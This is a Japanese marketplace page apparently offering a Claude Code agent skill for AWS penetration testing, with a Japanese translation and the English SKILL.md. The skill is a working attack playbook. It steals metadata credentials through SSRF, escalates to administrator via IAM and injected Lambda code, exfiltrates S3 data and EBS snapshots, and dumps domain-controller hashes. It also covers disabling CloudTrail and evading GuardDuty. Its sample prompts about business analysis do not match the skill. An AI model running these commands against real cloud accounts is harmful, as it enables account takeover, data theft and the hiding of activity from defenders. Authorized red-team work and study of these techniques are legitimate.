💼 AWSPenetrationテスト
AWSクラウド環境のセキュリティを評価するため、仮想
📺 まず動画で見る(YouTube)
▶ 【自動化】AIガチ勢の最新活用術6選がこれ1本で丸分かり!【ClaudeCode・AIエージェント・AI経営・Skills・MCP】 ↗
※ jpskill.com 編集部が参考用に選んだ動画です。動画の内容と Skill の挙動は厳密には一致しないことがあります。
📜 元の英語説明(参考)
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
🇯🇵 日本人クリエイター向け解説
AWSクラウド環境のセキュリティを評価するため、仮想
※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。
下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o aws-penetration-testing.zip https://jpskill.com/download/2427.zip && unzip -o aws-penetration-testing.zip && rm aws-penetration-testing.zip
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/2427.zip -OutFile "$d\aws-penetration-testing.zip"; Expand-Archive "$d\aws-penetration-testing.zip" -DestinationPath $d -Force; ri "$d\aws-penetration-testing.zip"
完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。
💾 手動でダウンロードしたい(コマンドが難しい人向け)
- 1. 下の青いボタンを押して
aws-penetration-testing.zipをダウンロード - 2. ZIPファイルをダブルクリックで解凍 →
aws-penetration-testingフォルダができる - 3. そのフォルダを
C:\Users\あなたの名前\.claude\skills\(Win)または~/.claude/skills/(Mac)へ移動 - 4. Claude Code を再起動
⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。
🎯 このSkillでできること
下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。
📦 インストール方法 (3ステップ)
- 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
- 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
- 3. 展開してできたフォルダを、ホームフォルダの
.claude/skills/に置く- · macOS / Linux:
~/.claude/skills/ - · Windows:
%USERPROFILE%\.claude\skills\
- · macOS / Linux:
Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。
詳しい使い方ガイドを見る →- 最終更新
- 2026-05-17
- 取得日時
- 2026-05-17
- 同梱ファイル
- 2
💬 こう話しかけるだけ — サンプルプロンプト
- › AWS Penetration Testing で、私のビジネスを分析して改善案を3つ提案して
- › AWS Penetration Testing を使って、来週の会議用の資料を作って
- › AWS Penetration Testing で、現状の課題を整理してアクションプランに落として
これをClaude Code に貼るだけで、このSkillが自動発動します。
📖 Skill本文(日本語訳)
※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。
[スキル名] aws-penetration-testing 許可された使用のみ: このスキルは、許可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。
AWS ペネトレーションテスト
目的
AWS クラウド環境のペネトレーションテストのための包括的な手法を提供します。IAM 列挙、特権昇格、メタデータエンドポイントへの SSRF、S3 バケットの悪用、Lambda コードの抽出、およびレッドチーム操作のための永続化手法をカバーしています。
入力/前提条件
- 認証情報が設定された AWS CLI
- 有効な AWS 認証情報(低権限でも可)
- AWS IAM モデルの理解
- Python 3、boto3 ライブラリ
- ツール: Pacu、Prowler、ScoutSuite、SkyArk
出力/成果物
- IAM 特権昇格パス
- 抽出された認証情報とシークレット
- 侵害された EC2/Lambda/S3 リソース
- 永続化メカニズム
- セキュリティ監査結果
必須ツール
| ツール | 目的 | インストール |
|---|---|---|
| Pacu | AWS 悪用フレームワーク | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | シャドウ管理者発見 | Import-Module .\SkyArk.ps1 |
| Prowler | セキュリティ監査 | pip install prowler |
| ScoutSuite | マルチクラウド監査 | pip install scoutsuite |
| enumerate-iam | 権限列挙 | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 分析 | pip install principalmapper |
コアワークフロー
ステップ 1: 初期列挙
侵害されたIDと権限を特定します。
# 現在のIDを確認
aws sts get-caller-identity
# プロファイルを設定
aws configure --profile compromised
# アクセスキーを一覧表示
aws iam list-access-keys
# 権限を列挙
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
ステップ 2: IAM 列挙
# すべてのユーザーを一覧表示
aws iam list-users
# ユーザーのグループを一覧表示
aws iam list-groups-for-user --user-name TARGET_USER
# アタッチされたポリシーを一覧表示
aws iam list-attached-user-policies --user-name TARGET_USER
# インラインポリシーを一覧表示
aws iam list-user-policies --user-name TARGET_USER
# ポリシーの詳細を取得
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# ロールを一覧表示
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
ステップ 3: メタデータ SSRF (EC2)
SSRF を悪用してメタデータエンドポイント (IMDSv1) にアクセスします。
# メタデータエンドポイントにアクセス
http://169.254.169.254/latest/meta-data/
# IAM ロール名を取得
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 一時的な認証情報を抽出
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# レスポンスには以下が含まれます。
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
IMDSv2 (トークンが必要) の場合:
# まずトークンを取得
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# リクエストにトークンを使用
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate コンテナ認証情報:
# 認証情報パスの環境変数を読み取る
/proc/self/environ
# 以下を探す: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# 認証情報にアクセス
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
特権昇格手法
シャドウ管理者権限
これらの権限は管理者と同等です。
| 権限 | 悪用 |
|---|---|
iam:CreateAccessKey |
管理者ユーザーのキーを作成 |
iam:CreateLoginProfile |
任意のユーザーのパスワードを設定 |
iam:AttachUserPolicy |
自身に管理者ポリシーをアタッチ |
iam:PutUserPolicy |
インライン管理者ポリシーを追加 |
iam:AddUserToGroup |
自身を管理者グループに追加 |
iam:PassRole + ec2:RunInstances |
管理者ロールで EC2 を起動 |
lambda:UpdateFunctionCode |
Lambda にコードを注入 |
他のユーザーのアクセスキーを作成
aws iam create-access-key --user-name target_user
管理者ポリシーをアタッチ
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
インライン管理者ポリシーを追加
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda 特権昇格
# code.py - Lambda 関数に注入
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
# Lambda コードを更新
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
S3 バケットの悪用
バケットの発見
# bucket_finder を使用
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# 一般的なバケット URL パターン
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
バケットの列挙
# バケットを一覧表示 (認証情報あり)
aws s3 ls
# バケットの内容を一覧表示
aws s3 ls s3://bucket-name --recursive
# すべてのファイルをダウンロード
aws s3 sync s3://bucket-name ./local-folder
公開バケットの検索
https://buckets.grayhatwarfare.com/
Lambda の悪用
# Lambda 関数を一覧表示
aws lambda list-functions
# 関数コードを取得
aws lambda get-function --function-name FUNCTION_NAME
# レスポンスで提供されるダウンロード URL
# 関数を呼び出す
aws lambda invoke --function-name FUNCTION_NAME output.txt
SSM コマンド実行
Systems Manager を使用すると、EC2 インスタンスでコマンドを実行できます。
# 管理対象インスタンスを一覧表示
aws ssm describe-instance-information
# コマンドを実行
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# コマンド出力を取得 📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
AWS Penetration Testing
Purpose
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
Inputs/Prerequisites
- AWS CLI configured with credentials
- Valid AWS credentials (even low-privilege)
- Understanding of AWS IAM model
- Python 3, boto3 library
- Tools: Pacu, Prowler, ScoutSuite, SkyArk
Outputs/Deliverables
- IAM privilege escalation paths
- Extracted credentials and secrets
- Compromised EC2/Lambda/S3 resources
- Persistence mechanisms
- Security audit findings
Essential Tools
| Tool | Purpose | Installation |
|---|---|---|
| Pacu | AWS exploitation framework | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | Shadow Admin discovery | Import-Module .\SkyArk.ps1 |
| Prowler | Security auditing | pip install prowler |
| ScoutSuite | Multi-cloud auditing | pip install scoutsuite |
| enumerate-iam | Permission enumeration | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM analysis | pip install principalmapper |
Core Workflow
Step 1: Initial Enumeration
Identify the compromised identity and permissions:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
Step 2: IAM Enumeration
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
Step 3: Metadata SSRF (EC2)
Exploit SSRF to access metadata endpoint (IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
For IMDSv2 (token required):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate Container Credentials:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
Privilege Escalation Techniques
Shadow Admin Permissions
These permissions are equivalent to administrator:
| Permission | Exploitation |
|---|---|
iam:CreateAccessKey |
Create keys for admin user |
iam:CreateLoginProfile |
Set password for any user |
iam:AttachUserPolicy |
Attach admin policy to self |
iam:PutUserPolicy |
Add inline admin policy |
iam:AddUserToGroup |
Add self to admin group |
iam:PassRole + ec2:RunInstances |
Launch EC2 with admin role |
lambda:UpdateFunctionCode |
Inject code into Lambda |
Create Access Key for Another User
aws iam create-access-key --user-name target_user
Attach Admin Policy
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Add Inline Admin Policy
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda Privilege Escalation
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
S3 Bucket Exploitation
Bucket Discovery
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
Bucket Enumeration
# List buckets (with creds)
aws s3 ls
# List bucket contents
aws s3 ls s3://bucket-name --recursive
# Download all files
aws s3 sync s3://bucket-name ./local-folder
Public Bucket Search
https://buckets.grayhatwarfare.com/
Lambda Exploitation
# List Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt
SSM Command Execution
Systems Manager allows command execution on EC2 instances:
# List managed instances
aws ssm describe-instance-information
# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
EC2 Exploitation
Mount EBS Volume
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
Shadow Copy Attack (Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
Console Access from API Keys
Convert CLI credentials to console access:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access
Covering Tracks
Disable CloudTrail
# Delete trail
aws cloudtrail delete-trail --name trail_name
# Disable global events
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events
# Disable specific region
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events --no-is-multi-region-trail
Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.
Quick Reference
| Task | Command |
|---|---|
| Get identity | aws sts get-caller-identity |
| List users | aws iam list-users |
| List roles | aws iam list-roles |
| List buckets | aws s3 ls |
| List EC2 | aws ec2 describe-instances |
| List Lambda | aws lambda list-functions |
| Get metadata | curl http://169.254.169.254/latest/meta-data/ |
Constraints
Must:
- Obtain written authorization before testing
- Document all actions for audit trail
- Test in scope resources only
Must Not:
- Modify production data without approval
- Leave persistent backdoors without documentation
- Disable security controls permanently
Should:
- Check for IMDSv2 before attempting metadata attacks
- Enumerate thoroughly before exploitation
- Clean up test resources after engagement
Examples
Example 1: SSRF to Admin
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 5. Verify access
aws sts get-caller-identity
Troubleshooting
| Issue | Solution |
|---|---|
| Access Denied on all commands | Enumerate permissions with enumerate-iam |
| Metadata endpoint blocked | Check for IMDSv2, try container metadata |
| GuardDuty alerts | Use Pacu with custom user-agent |
| Expired credentials | Re-fetch from metadata (temp creds rotate) |
| CloudTrail logging actions | Consider disable or log obfuscation |
Additional Resources
For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md.
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
同梱ファイル
※ ZIPに含まれるファイル一覧。`SKILL.md` 本体に加え、参考資料・サンプル・スクリプトが入っている場合があります。
- 📄 SKILL.md (10,159 bytes)
- 📎 references/advanced-aws-pentesting.md (12,033 bytes)